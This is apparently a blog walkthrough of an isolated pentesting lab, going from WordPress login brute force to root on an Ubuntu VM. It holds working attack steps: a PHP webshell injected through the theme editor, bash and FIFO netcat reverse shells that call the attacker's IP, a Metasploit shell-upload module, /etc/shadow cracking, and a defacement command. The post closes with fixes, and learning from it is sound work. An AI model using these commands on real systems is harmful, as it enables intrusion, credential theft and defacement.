DEV Community

Cover image for From WordPress Login to Root - A Full Pentesting Lab Walkthrough
Saumya Aggarwal
Saumya Aggarwal

Posted on

From WordPress Login to Root - A Full Pentesting Lab Walkthrough

⚠️ Disclaimer: Everything here was done in an isolated virtual lab environment (VirtualBox VMs with no internet access). No real systems were involved. This is purely for learning how attacks happen — so defenders know what to protect against.


I kept hearing about website defacements in the news. Indian government portals getting their homepages replaced with political messages. Hospital websites going down. It always felt distant — until I decided actually to understand how it happens.

So I spun up a vulnerable VM (Basic_Pentesting_1) and tried to break it myself. Took me from zero — a blank network — to full root access and a defaced homepage.

Here's everything I did.


Lab Setup

Role Machine
Attacker Kali Linux (VirtualBox VM)
Target Ubuntu VM running WordPress
Network NAT Network — fully isolated, no internet

The target runs Apache, WordPress, FTP (ProFTPD), and SSH. The goal: get root.


The Attack Path at a Glance

Find target on network
        ↓
Port scan
        ↓
Find WordPress installation
        ↓
Map hostname in /etc/hosts
        ↓
Enumerate WordPress users
        ↓
Brute-force password
        ↓
WordPress admin access
        ↓
    ┌─────────────────────┐
    │   Pick your path:   │
    │  A) Manual webshell │
    │  B) Metasploit      │
    └─────────────────────┘
        ↓
Shell as www-data
        ↓
Read /etc/shadow (misconfiguration!)
        ↓
Crack password — John the Ripper
        ↓
SSH as marlinspike
        ↓
sudo -l → sudo bash
        ↓
       ROOT
        ↓
Website defaced
Enter fullscreen mode Exit fullscreen mode

Step 1 — Find the Target

First thing: figure out what machines are on the network.

netdiscover
Enter fullscreen mode Exit fullscreen mode

netdiscover sends ARP requests across the subnet and listens for responses. Nothing fancy — it's just asking "who's here?" to every address.

Output:

Currently scanning: 10.0.2.0/24   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.5        08:00:27:a1:b2:c3      1      60  PCS Systemtechnik GmbH
Enter fullscreen mode Exit fullscreen mode

10.0.2.5 is the target. The .1 and .2 are the gateway and DNS — ignore them.


Step 2 — Port Scan (Nmap)

Now figure out what's actually running on 10.0.2.5.

sudo nmap -O -sV -sC -Pn 10.0.2.5
Enter fullscreen mode Exit fullscreen mode
Flag What it does
-O Try to guess the OS
-sV Detect service versions
-sC Run default scripts (banners, common misconfigs)
-Pn Skip the ping check, just scan

Output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Enter fullscreen mode Exit fullscreen mode

Three open ports — FTP, SSH, and a web server.

The web server is almost always the easiest entry point. That's where we focus.

Note on FTP: ProFTPD 1.3.3c is an old version with known vulnerabilities (including a backdoor that Metasploit can hit directly). We didn't need it this time — but keep it in mind as a backup if the web route was a dead end.


Step 3 — Find the WordPress Install (dirb)

dirb http://10.0.2.5/
Enter fullscreen mode Exit fullscreen mode

dirb runs through a wordlist and brute-forces common directory names against the server — /admin, /login, /secret, etc.

Output:

---- Scanning URL: http://10.0.2.5/ ----
+ http://10.0.2.5/index.html (CODE:200|SIZE:11321)
==> DIRECTORY: http://10.0.2.5/secret/
---- Entering directory: http://10.0.2.5/secret/ ----
+ http://10.0.2.5/secret/wp-login.php (CODE:200|SIZE:2482)
+ http://10.0.2.5/secret/wp-admin/ (CODE:302|SIZE:0)
==> DIRECTORY: http://10.0.2.5/secret/wp-content/
==> DIRECTORY: http://10.0.2.5/secret/wp-includes/
Enter fullscreen mode Exit fullscreen mode

There's a WordPress install hiding at /secret/. The wp-login.php and wp-admin/ confirm it.


Step 4 — Fix the Hostname

If you try loading http://10.0.2.5/secret/ in a browser, it'll look broken — missing CSS, weird redirects. That's because WordPress is configured to serve content using the hostname vtcsec, not the raw IP.

Fix it by mapping the hostname locally on Kali:

sudo nano /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Add this line at the bottom:

10.0.2.5    vtcsec
Enter fullscreen mode Exit fullscreen mode

Save and close. Now http://vtcsec/secret/ loads properly — full WordPress login page.


Step 5 — Find Usernames (WPScan)

WPScan is built specifically for WordPress. By default, WordPress leaks usernames through author URLs and login error messages.

wpscan --url http://vtcsec/secret --enumerate u
Enter fullscreen mode Exit fullscreen mode

Output:

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <=====> (10 / 10) 100.00%

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Login Error Messages (Aggressive Detection)
Enter fullscreen mode Exit fullscreen mode

Username: admin.


Step 6 — Brute-Force the Password

We have a username. Now we throw a wordlist at it.

wpscan --url http://vtcsec/secret \
  --usernames admin \
  --passwords /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

rockyou.txt is a real password list from a 2009 data breach — around 14 million passwords. It's the standard starting point for any credential attack.

Output:

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / admin

[i] Valid Combinations Found:
 | Username: admin, Password: admin
Enter fullscreen mode Exit fullscreen mode

The password was admin.

Not Admin123. Not P@ssw0rd. Just admin.

This is the part that gets me. You can have the best server hardening in the world — and one weak admin password tears all of it down.


Step 7 — Log In

Go to:

http://vtcsec/secret/wp-admin
Enter fullscreen mode Exit fullscreen mode

Login with admin / admin. You're in.

But WordPress admin access isn't the same as Linux shell access. We need to go deeper.


Step 8 — Get a Shell

This is where you can pick your approach. Both paths end up at the same place.


Path A — Manual (PHP Webshell via Theme Editor)

WordPress has a built-in PHP file editor for themes. That's a serious security risk in production — and exactly what we're about to exploit.

Go to:

Appearance → Theme File Editor → 404.php
Enter fullscreen mode Exit fullscreen mode

Scroll to the bottom and add this one line:

<?php system($_GET['cmd']); ?>
Enter fullscreen mode Exit fullscreen mode

Click Update File.

What this does: when the 404 template loads, PHP runs whatever command you pass in the cmd URL parameter. That's Remote Code Execution (RCE).

Test it:

http://vtcsec/secret/index.php/aaaaa?cmd=whoami
Enter fullscreen mode Exit fullscreen mode

The aaaaa path doesn't exist — it triggers a 404, loading our modified template.

Output in browser:

www-data
Enter fullscreen mode Exit fullscreen mode

We have code execution as www-data (the Apache process user). Now let's turn this into an actual interactive shell.

Set up a listener on Kali:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Now trigger the reverse shell. I first tried the classic bash one-liner:

http://vtcsec/secret/index.php/aaaaa?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.4/4444 0>%261'
Enter fullscreen mode Exit fullscreen mode

This didn't work. The Ubuntu target's default sh didn't support the -i >& /dev/tcp syntax the way I expected — and the & characters cause encoding headaches in URLs.

So I switched to a FIFO reverse shell — it's more reliable and doesn't depend on shell-specific flags:

http://vtcsec/secret/index.php/aaaaa?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.0.2.4+4444+>/tmp/f
Enter fullscreen mode Exit fullscreen mode

URL-decoded, that command is:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.4 4444 >/tmp/f
Enter fullscreen mode Exit fullscreen mode

What's happening here:

Part What it does
rm /tmp/f Delete the pipe if it already exists
mkfifo /tmp/f Create a named pipe (FIFO) at /tmp/f
cat /tmp/f Read from the pipe — blocks and waits
`\ /bin/sh -i 2>&1`
`\ nc 10.0.2.4 4444`
>/tmp/f Write Kali's input back into the pipe

It's a loop. Your commands on Kali go → into the pipe → into the shell → output comes back to you. Doesn't need nc -e.

Back on your Kali terminal:

listening on [any] 4444 ...
connect to [10.0.2.4] from [10.0.2.5] 57412
/bin/sh: 0: can't access tty; job control turned off
$
Enter fullscreen mode Exit fullscreen mode

Shell. ✅


Path B — Metasploit (wp_admin_shell_upload)

If you already have WordPress admin credentials, Metasploit has a module that automates the whole process.

msfconsole
search wp_admin
use exploit/unix/webapp/wp_admin_shell_upload
Enter fullscreen mode Exit fullscreen mode

Configure it:

set RHOSTS 10.0.2.5
set TARGETURI /secret
set USERNAME admin
set PASSWORD admin
run
Enter fullscreen mode Exit fullscreen mode

Output:

[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/...
[+] Deleted temp plugin file
[*] Sending stage (39927 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened

meterpreter > shell
Process 1 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$
Enter fullscreen mode Exit fullscreen mode

Same result — you're inside as www-data.


Step 9 — Look Around

Both paths meet here. You're www-data on the target machine.

whoami
Enter fullscreen mode Exit fullscreen mode
www-data
Enter fullscreen mode Exit fullscreen mode

Check who else is on the system:

cat /etc/passwd
Enter fullscreen mode Exit fullscreen mode
root:x:0:0:root:/root:/bin/bash
...
marlinspike:x:1000:1000:,,,:/home/marlinspike:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Enter fullscreen mode Exit fullscreen mode

Interesting. There's a real user called marlinspike with a home directory and a real shell.

Now the check that shouldn't work — but does:

cat /etc/shadow
Enter fullscreen mode Exit fullscreen mode
root:$6$3GAVhGlB$DEF...hashed...password:17298:0:99999:7:::
marlinspike:$6$7yR1Kz2B$ABC...hashed...password:17298:0:99999:7:::
Enter fullscreen mode Exit fullscreen mode

This worked.

/etc/shadow stores hashed passwords for all users on the system. Normally only root can read it. But the file permissions were misconfigured — www-data could read it too.

That's a critical mistake. One wrong permission on one file, and an attacker has every password hash on the system.


Step 10 — Crack the Passwords (John the Ripper)

Copy the output of /etc/passwd and /etc/shadow into two files on Kali:

# save output to files manually, or use:
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
Enter fullscreen mode Exit fullscreen mode

Combine them with unshadow (formats things the way John expects):

unshadow passwd.txt shadow.txt > combined.txt
Enter fullscreen mode Exit fullscreen mode

Now crack:

john combined.txt
Enter fullscreen mode Exit fullscreen mode

Output:

Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike      (marlinspike)
1g 0:00:00:03 DONE (2023-05-29 14:32) 0.2941g/s 512.0p/s
Enter fullscreen mode Exit fullscreen mode

Password: marlinspike. The username was the password.


Step 11 — SSH in as marlinspike

ssh marlinspike@vtcsec
Enter fullscreen mode Exit fullscreen mode

Enter marlinspike when it asks for the password.

marlinspike@vtcsec:~$
Enter fullscreen mode Exit fullscreen mode

Stable SSH shell. No more janky reverse connection hanging in a terminal.


Step 12 — Escalate to Root

Check what sudo privileges this user has:

sudo -l
Enter fullscreen mode Exit fullscreen mode
Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL
Enter fullscreen mode Exit fullscreen mode

(ALL : ALL) ALL — this user can run any command as any user, including root.

sudo bash
Enter fullscreen mode Exit fullscreen mode
root@vtcsec:~#
Enter fullscreen mode Exit fullscreen mode
whoami
Enter fullscreen mode Exit fullscreen mode
root
Enter fullscreen mode Exit fullscreen mode

Done. Full root access.


Step 13 — Defacement (Post-Exploitation Demo)

To show what an attacker could actually do with root:

cd /var/www/html
mv index.html index_backup.html
echo "<h1>You Have Been Hacked!</h1>" > index.html
Enter fullscreen mode Exit fullscreen mode

Visit http://vtcsec — the homepage is now defaced. In a real attack, this is usually when an organization first notices something went wrong.


What Actually Failed Here

This machine didn't fall because of a sophisticated exploit. It fell because five small, boring mistakes all existed at the same time:

  1. admin:admin credentials — WPScan broke this in under a minute
  2. WordPress Theme Editor left on — One line of PHP → full RCE on the server
  3. /etc/shadow readable by www-data — A single file permission mistake handed us every password hash
  4. marlinspike:marlinspike password — Cracked in 3 seconds by a dictionary attack
  5. (ALL:ALL) ALL sudo privileges — A web server user should never be able to sudo bash

No single one of these is a catastrophic vulnerability. Together, they're a straight road from "I found a web server" to "I own the machine."


How to Fix It

Problem Fix
Weak WordPress credentials Strong passwords, limit login attempts
Theme Editor enabled Add define('DISALLOW_FILE_EDIT', true); to wp-config.php
/etc/shadow permissions chmod 640 /etc/shadow — readable only by root and shadow group
Weak system password Strong, unique password — lock accounts after failed attempts
Excessive sudo Least privilege — only give sudo for what the user actually needs

Tools Used

Tool What it did
netdiscover Found the target on the network
nmap Scanned ports and detected services
dirb Found the WordPress install
wpscan Enumerated users and brute-forced credentials
nc (Netcat) Reverse shell listener
john + unshadow Cracked the hashed password
ssh Stable access as marlinspike

What I'd Try Next

The FTP service (ProFTPD 1.3.3c) was another possible entry point I didn't need this time. That version has a known backdoor that Metasploit can hit directly with exploit/unix/ftp/proftpd_133c_backdoor — which would skip the WordPress phase entirely and drop you straight into a shell. Worth trying if you're running this lab yourself.


  • Just documenting what I'm learning in cybersecurity. Next up: PortSwigger Web Security Academy and more structured privilege escalation practice.*

#security #linux #wordpress #beginners #tutorial

Top comments (0)